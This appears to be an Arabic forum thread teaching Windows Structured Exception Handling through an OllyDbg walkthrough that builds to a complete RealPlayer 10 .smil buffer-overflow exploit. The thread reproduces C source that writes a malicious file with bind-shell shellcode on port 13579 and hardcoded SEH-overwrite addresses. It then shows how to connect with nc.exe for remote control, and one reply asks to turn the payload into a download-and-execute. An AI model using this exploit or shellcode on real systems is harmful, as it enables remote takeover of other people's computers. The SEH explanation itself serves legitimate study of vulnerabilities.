JAAS

أخطار المعالجة المنظمة لنظام التشغيل SEH

8 ردود في هذا الموضوع

السلام عليكم ورحمة الله ,,,

من المواضيع الشيقة والمتقدمة في برمجة الأنظمة وكتابة البرامج ؟!

قد يكون العقبة في مراحل إكتشاف الثغرة وقد يكون السبب الرئيسي لإختراق الجهاز؟!

موضوع مرتبط بالمعالج والنظام ولغات البرمجة ومراقبة البرامج والتشفير والثغرات وshellcode

ألا وهو : المعالجة المنظمة للأخطاء والإستثنائات , معروف بإختصارة SEH

أي Structured Exception Handling

قد يعتبرة البعض موضوع معقد ؟ ولكن في هذا الموضوع ستكتشف العكس تماماً

وبعض المبرمجين يعتبرونه موضوع فرعي أو لاعلاقة لة بكتابة البرامج

وهذا هو السبب الرئيسي لكثرة الأخطاء في برامجنا

سنبدأ بمثال بسيط لكي نكتشف مامعنى المعالجة المنظمة وكيف يقوم بها النظام

وبعد ذلك سترى الدعم المحترم الذي يقدمة برنامج olly في هذا المجال وتبسيطة لآخر درجة

وفي النهاية سنخترق الجهاز بواسطة ملف نصي وسنتفح منفذ للإتصال ؟!

وبالتأكيد عن طريق ثغرة مكتشفة في برنامج الريل بلير 10 وبإستخدام SEH

------- نبدأ -------

لو كنت متابع لمواضيع برمجة الأنظمة التي تحدثنا عنها سابقاً , وبالتحديد برمجة أنظمة 32 بت

إطلعنا على شيء جديد وهو مايعرف بالجداول مثل جداول الواصفات الشامل والواصفات المحلي....

في هذة المرحلة المتقدمة وبالتحديد في نواة نظام التشغيل يبدأ العمل؟! لتكوين جداول الإنتقال عند حدوث خطأ

جداول الأخطاء منفصلة عن بقية التطبيقات لكي لايحدث إنهيار للنظام بالكامل إذا حدث خطأ كبير

والدليل على ذلك سترى إستخدام قسم جديد غير قسم الكودCS وقسم البياناتDS , وهو القسم FS

-

لفهم هذة المقدمة سنبدأ بكود بسيط بلغة السي وهو عبارة عن البلوك try و except

هذا البلوك عبارة عن تنفيذ الأوامر بداخل بلوك try إذا حدث أي خطأ ينتقل التنفيذ إلى البلوك except

لو فكرنا كيف يتم الإنتقال بكل بساطة نقل مؤشر الإنتقال من المكدس إلى القسم FS , لاحظ

الكود:

#include<stdio.h>
#include<string.h>

int ExceptionHandler(void);

int main(int argc,char *argv[]){

char temp[100];

if (argc != 2)
return 1;

__try {
strcpy(temp,argv[1]);
               printf(temp);
} __except ( ExceptionHandler() ){}
return 0;
}

int ExceptionHandler(void){
printf("Exception");
return 0;
}

هذا البرنامج عبارة عن واجهة دوس يقوم بإستقبال المدخلات من المستخدم وعرضها

ولكن كما هو مستخدم في النظام والبرامج المعروفة قمنا بكتابة بلوك التحقق try

قم بترجمة الكود السابق لتحصل على برنامج سنطبق علية القسم الأول من الدرس ؟!

بعد عملية الترجمة شغل البرنامج بواسطة olly وقم بإدخال أي مدخلات ولتكن" AAA...."

ملاحظة في المثال الأول ستكون المدخلات للبرنامج عبارة عن سلسلة من الحرف A وعددها 10 أحرف

طريقة الإدخال لبرامج الدوس : من خلال القائمة Debug إختر arguments وأدخل سلسلة الأحرف

وبعد ذلك سيطلب منك olly إعادة تشغيل البرنامج لكي يرسل لة المدخلات الجديدة

والآن سنحدد نقطة توقف على المايكرو strcpy كما ترى في الكود السابق

ملاحظة المايكرو strcpy عبارة عن تعليمة REP بلغة الإسمبلي

المهم ضع نقطة توقف على العنوان hex :00401057

وهو يمثل التعليمة لنقل السلسلة النصية إلى المكدس:

REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

بعد أن تحدد نقطة التوقف , شغل البرنامج المراقب F9 لتجد أنة توقف عند العنوان السابق وهو يمثل strcpy

كما هو موضح:

exSEH00a001.gif

لاحظ أننا أدخلنا النص السابق "AAAA .."

وتلاحظ أنة يتم نقل هذا النص إلى المكدس

بعد ذلك نستمر في التنفيذ F8 لنرى التغيرات

exSEH00b002.gif

هذا هو محور حديثنا SEH

وتلاحظ أن برنامج olly يضع لك تلميحات عند رقم 1 و 2

الرقم 1 يمثل مؤشر لسجل الإستثنائات وهو عبارة عن نقل البارمترات عند حدوث خطأ

مثل قيم المسجلات وأعلام المعالج ..., وهو ليس مهم في هذا الدرس

مايهمنا هو الرقم 2 مؤشر المعالجة , وهو العنوان الذي سينتقل لة التنفيذ

-

تلاحظ في الصورة السابقة لو قمنا بتكرار الحرف A بحدود 120 مرة

فإننا سندخل قيمة المخزن إلى هذة العناوين , وللتجرية

أعد تطبيق الخطوة الأولى ( وهي تحديد مدخلات للبرنامج من debug و arguments )

وقم بكتابة حرف "AA.." وبتكرار الحرف A بحدود 120 مرة , ثم أعد تشغيل البرنامج

وقم بالتنفيذ F9 , لترى :

سيقف التنفيذ عند النقطة التي قمنا بتحديدها سابقاً وهي strcpy

وبالتأكيد سيحدث خطأ لأننا قمنا بتمرين حجم 120 حرف إلى مخزن بحجم 100 حرف

وبتكرار التنفيذ F8 خمس مرات ستجد نفسك أمام القسم الجديد ؟!! وهو FS

وسيتم صناعة عناوين الإنتقال SEH , كما ترى

exSEH00c003.gif

-

لو إستمرينا بتكرار التنفيذ سيتم الإنتقال للعنوان 41414141

مايهمنا من هذة النقطة أننا وجدنا طريقة أخرى وهي مؤشر SEH

وتلاحظ في المكدس عنوان آخر للعودة ؟ ولو قمنا بتكرار الحرف 140 مرة

فإننا سنغير في عنوان العودة , وهنا وجدنا الطريقة الثانية للتغيير

ماهي العلاقة بين الطريقة الأولى والثانية ؟ الإجابة هي بقية الدرس...

-

ملاحظة ماسبق من الأمثلة المقصود منها التعرف على عناوين SEH بشكل مفصل

ولكن مع بقية الأمثلة والدروس لن نحتاج كل هذة الخطوات لأن olly يفي بالغرض

لاحظ الأمر في القائمة View تجد الأمر SEH chain

ولإستخدام هذا الأمر بشكل سريع , أعد تشغيل البرنامج

ولاحظ محتوى SEH قبل تنفيذ تعليمة strcpy وبعد التعليمة ؟!

ولاحظ التغيير:

exSEH00d004.gif

هذة العناوين التي نحتاجها للدخول في الموضوع

وبالتأكيد بعد هذة المقدمة عرفنا كيف ظهرت وكيف تغيرت ؟!

-

وبعد الدراسة النظرية والأمثلة الوهمية ,,,,تـــــــــابع

لترى وتطبق أمثلة حقيقية , وأخطاء في برامج عالمية

-

تابع 2

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

تكملة الشرح:

------------------

تعرفنا على طريقة جديدة لنقل التنفيذ بإستخدام SEH

ولو أردنا تعريف هذة الطريقة , ستكون كالتالي:

مؤشر SEH عبارة عن عملية يقوم بها نظام التشغيل لنقل مجرى التنفيذ عند حدوث خطأ !

-

ولو ترجع لتعريف إكتشاف الثغرة , وهي

البحث عن طريقة لنقل التنفيذ والتحكم بشرط حدوث خطأ .

-

هنا تظهر العقدة ؟! أو المعركة لنقل التحكم بين مكتشف الثغرة وبين النظام نفسة , كيف؟!

أول مايحدث خطأ سيحاول النظام نقل التحكم بواسطة مؤشر SEH

و مكتشف الثغرة سيحاول نقل التنفيذ بواسطة عنوان العودة في المكدس

وفي هذة الحالة لن يدعك مؤشر SEH أن تغير في مجرى التنفيذ (في بعض الحالات )

وفي هذة الحالة يعتبر SEH عقبة أمام مكتشف الثغرة ؟!

-

ولكن ليت الأمر يبقى على ماهو علية , لأن بعض أنواع الثغرات تعتمد على SEH , ماهذة الألغاز ؟!

تخيل وجود فيض في المكدس وهو عبارة عن خطأ , ولكن هذا الفيض يتسع ل 100 بايت فقط

وأول عنوان للعودة في المكدس يوجد بعد 200 بايت , في هذة الحالة مستحيل أن تصل إلى عنوان العودة في المكدس

ولكن توجد طريقة واحدة لنقل التنفيذ وهي إحداث خطأ والبحث على عنوان مؤشر SEH وتغييرة لعنوان الإنتقال؟

بإختصار هذة القصة هي مايعرف بالثغرات المعتمدة على المعالجة المنظمة للأخطاء SEH

وبالتأكيد هذة الطريقة إنتشرت عليها فايروسات كثيرة ....

-

وبعد هذة المقدمة إليك التطبيق العملي على ثغرة حديثة من هذا النوع ظهرت في برنامج RealPlayer 10

---الثغرة ---

الخطأ البرمجي موجود في الملف smlrender.dll وبالتحديد في مايكرو strcpy

والطريقة مشابهة للمثال السابق , لاحظ العنوان التعليمة

6085F273:   F3:A5        REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS

كيف يتم الوصول إلى هنا.

برنامج الريل بلير مشهور بأنة يعالج أو يشغل أنواع كثيرة من الملفات

منها الملف بالإمتداد smil , هذا الملف عبارة عن ملف نصي يحتوي على خصائص العرض

أو طريقة العرض , وهو عبارة عن أكواد html بسيطة

لاحظ محتوى الملف smil:

--------------------------

<smil>
<head>
<layout>
<region id="a" top="5" />
</layout>
</head>
<body>
<text src="1024_768.en.txt" region="size" system-screen-size="AAAAAAA"/>
</body></smil>

---------------------------

عندما يقوم برنامج الريل بلير بقرائة محتوى الملف يرتكب خطأ بقرائة حجم شاشة العرض بمايكرو strcpy

ولايقيد الحجم كما تلاحظ في الملف السابق , حجم شاشة العرض وهو : system-screen-size

يساوي سلسلة "ِِAAA.." هذة السلسلة لايوجد لها أي قيود تستطيع من خلالها إحداث خطأ فيض

-

الآن سنكتب برنامج إستغلال الثغرة المكتشف ؟! وسنرى طريقة كتابة ال shellcode

هذا هو كود البرنامج الذي سينتج لنا ملف smil يحتوي على shellcode يقوم بفتح منفذ لإستقبال الأوامر

===============

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
" <head>\n"
" <layout>\n"
" <region id=\"a\" top=\"5\" />\n"
" </layout>\n"
" </head>\n"
" <body>\n"
" <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";

char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";


char end[]=
" </body>"
"</smil>";

char overflow[1700];
int main(int argc,char *argv[])
{

FILE *vuln;
if(argc == 1)
{
printf("RealPlayer 10 .smil file local buffer overflow.\n");
printf("Coded by nolimit & buzzdee.\n");
printf("Usage: %s <outputfile>\n",argv[0]);
return 1;
}
vuln = fopen(argv[1],"w");
//build overflow buffer here.
memset(overflow,0x90,sizeof(overflow)); //fill with nops
memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp
// (pop pop ret)
memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3
//(pop pop ret) for small biz or something
memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3
//(pop pop ret) enterprise
memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k)
//with call ebx (pncrt.dll - hopefully universal ...^^)
memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode
//after some nope to land in

if(vuln)
{
//Write file
fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
fclose(vuln);
}
printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
return 0;
}

=

لا تغتر بهذة الأكواد فهي بسيطة ,,,

وهي عبارة عن كتابة ملف smil بنفس الكود البسيط الذي وضحناة سابقاً

ولكن في حجم الشاشة system-screen-size يغير السلسلة النصية AAAAA

إلى تعليمات nop ومن ثم كتابة برنامج يستخدم دوال API لفتح منفذ جديد وهو 13579

وشفرة البرنامج هي التي تشاهدها بالأرقام أي المتغير shellcode

بالإضافة إلى أن البرنامج يكتب عنوان جديد , ياترى ماهو ؟!

بالتأكيد مؤشر SEH للإنتقال .

========================================

والآن بقي أن نرى بالصور لكي نتأكد من عمل الثغرة .

شغل برنامج olly , وإختر الريل بلير وبعد إنتهاء التحميل إضغط F9 لتشغيل البرنامج.

في هذة اللحظة إذا توجهت لتعليمة الخطأ لن تجدها لأن المكتبة smlrender.dll لم تحمل إلى الذاكرة بعد

المهم ضع نقطة توقف عند العنوان hex: 6166A763 ADD ESP,0C

وبعد ذلك إنتقل إلى برنامج الريل بلير , من قائمة file ثم open وإختر ملف الثغرة smil

بعد أن تختار الملف مباشرة ستجد أن البرنامج توقف عن النقطة التي حددتها

في هذة اللحظة إذا إنتقلت إلى عنوان تعليمة الخطأ , فلن تجدها لنفس السبب , لم يتم تحميل المكتبة بعد

أهم شيء لاتعصب؟! إضغط F9 لإستمرار التنفيذ مرة أخرى , وستجد البرنامج عاد إلى نفس النقطة

ثم إضغط F9 للمرة الثانية , وسيقف التنفيذ في نفس العنوان ولكن هذة المرة تم تحميل المكتبة smlrender.dll

ومن خلال Ctrl+g توجة للعنوان hex: 6085F273

 6085F273:   F3:A5      REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>

وهذة هي تعليمة الخطأ ضع مئة نقطة توقف عليها , ثم إضغط F9 ليقف التنفيذ عندها

بمجرد تنفيذها تحدث المشاكل , كما ترى :

RelexhackA001.gif

-

وللتأكد , جرب الأمر من القائمة View ثم SEH قبل التعليمة وبعدها لترى التغير.

توجهة إلى عنوان SEH الجديد وضع نقطة توقف

 60A27FAE:   5B               POP EBX

المهم إلى الآن لم يتم نقل التنفيذ , تتبع البرنامج F8 عدة مرات إلى أن تصل إلى

تعليمة الخطأ التي توقف التنفيذ:

لاحظ:

RelexhackB002.gif

-

تشاهد حدوث الخطأ , ويقول لك النظام لن يتم نقل التنفيذ إلى من خلال SEH لا تتعب نفسك

قلة أوكي:

ونفذ تعليمة shift+F9 لكي يستمر البرنامج في التنفيذ ولكن من خلال مؤشر SEH

وستجد أن البرنامج توقف عند العنوان الجديد

hex : 60A27FAE 5B POP EBX

وبهذا نكون غيرنا مجرى التنفيذ وتم إكتشاف ثغرة .

للإستمرار ومشاهدة طريقة تنفيذ shellcode وفتح المنفذ , فقط تتبع F8

لتصل إلى بداية الشل كود في المكدس

RelexhackC003.gif

-

وبعد تنفيذ shellcode

ستجد وسترى فتح منفذ جديد كما هو محدد في الشيل كود برقم 13579

منصت لكل أوامرك ولكي تتأكد , نفذ التالي

RelexhackD004.gif

-

وبعد ذلك تتصل بالمنفذ من خلال أداة nc.exe

وستفتح لك نافذة دوس للتحكم المباشر بالنظام الآخر

======================================

وبهذا الدرس : نكون قد أنهينا موضوع مهم في البرمجة بشكل عام

صدقني سترجع لة في مراحل ومجالات كثيرة تخص الملف التنفيذي

وبإذن الله سنكمل المشوار , إلى أن نصل إلى المراحل الإحترافية في مجال البرمجة

المهم أن يكون هنالك من يريد الوصول لمستويات متقدمة...

وبالتوفيق ,,,

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلا م عليكم

درس مهم للغايه خاصتاً انى بدات ادرس موضوع الاستثنائات exceptions وكيفيه إستخدامها, هناك درس ممتاز فى هذا الموضوع على الرابط التالى http://www.godevtool.com/

اعتقد الغلبيه العظمه من عشاق الاسمبلى يعرفونه ولكن اضعه للفائده.

والسلام

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

نسيت أن أرفق الملفات لم لايملكون مترجم السي , تجدة مرفق

ومشكور أخي أحمد على الإضافة

-

xfile.zip

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

كتاب لشرح SEH ولكن بإستخدام السوفت آيس ( وهنا تستيطع المقارنة بين السوفت آيس و أولي )

http://www.thc.org/download.php?t=p&f=Prac...xploitation.pdf

-

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

سلام عليكم ورحمة الله وبركاته

اخي جاس انا متابع لدروسك انت فعلا متمكن من البرمجه والله يزيدك إن شاء الله

ولي سؤال وطلب

اللي عرفته من الثغره انه يفتحلك بورت عن طريق ثغرة ريل بلير...

السؤال يعني مايصير نخليه يسحب ملف من الانترنت ويفتحه اوتماتيك بدال مايفتح بورت والدوخه هذي؟

الطلب اريد اترجم الشيل كود اللي حطيته مع بعض التعديلات عليه وماعندي برنامج ترجمه جربت برنامج ولا نفع معي هذا اسمه Dev-C++

اذا تذكرلي اسم برنامج سهل وسلس عطني اسمه

والله يجزيك خيرا واجرا على الشروحات التي لامثيل لها صراحة شكرا اخي

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

<<-- من المتابعين لمواضيع اخ جاس وصراحه كلها مجمعها في ملف وحافظها عندي لانك ماشالله موسوعه عسى الله يوفقك

سؤالي انا طبقت هذي الثغره على جهازي بس لاحظ ان البورت يفتح لما تنفذ البرنامج ولما تطفي الريل بلير يختفي فتح البورت وغير كذا يو طبقتها على جهازي صرت كلما فتحت ملف صوتي مايفتحه يقول لي بسوي ابديت بعدين يجيب لي امتداد كود وانه ماوجده في الابديت اي ملف اشغله يصير كذا والحل في الغاء الثغره

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
زوار
This topic is now closed to further replies.

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .